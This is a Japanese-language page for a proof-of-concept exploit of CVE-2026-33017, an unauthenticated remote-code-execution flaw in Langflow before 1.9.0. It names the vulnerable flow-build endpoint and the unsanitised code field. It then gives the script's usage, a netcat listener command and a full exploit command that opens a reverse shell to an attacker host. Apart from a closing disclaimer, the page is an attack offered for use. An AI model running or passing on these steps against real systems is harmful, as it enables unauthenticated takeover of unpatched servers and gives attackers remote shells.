
CVE-2026-33017 エクスプロイト | by infrar3d
infrar3d によるエクスプロイト
この概念実証(PoC)エクスプロイトは、Langflow 1.9.0 より前のバージョンに存在する重大なリモートコード実行(RCE)脆弱性を標的としています。この脆弱性により、認証されていない攻撃者は、フロー構築 API エンドポイントを通じて悪意のある Python コードを注入し、任意のシステムコマンドを実行できます。この脆弱性は /api/v1/build_public_tmp/{flow_id}/flow endpoint に存在し、コンポーネントテンプレートの code フィールドにユーザーが指定したコードを適切にサニタイズしていません。
python3 CVE-2026-33017.py --help
usage: CVE-2026-33017.py [-h] -u URL -f FLOW -H HOST [-P PORT]
Langflow RCE Exploit
options:
-h, --help show this help message and exit
-u, --url URL Target base URL
-f, --flow FLOW Flow ID
-H, --host HOST Listener host for reverse shell
-P, --port PORT Listener port (default: 4444)
1つ目のターミナル (リスナー):
nc -lvnp 4444
2つ目のターミナル (エクスプロイト):
python3 CVE-2026-33017.py --url https://fireflowservice.example --flow abcd1234-efgh-5678-ijkl-9012mnop --host 10.10.10.10 --port 4444
このソフトウェアおよび概念実証コードは、教育および研究目的のみで提供されています。
適用されるすべての法律を遵守する責任はあなたにあります。倫理的かつ責任を持って使用してください。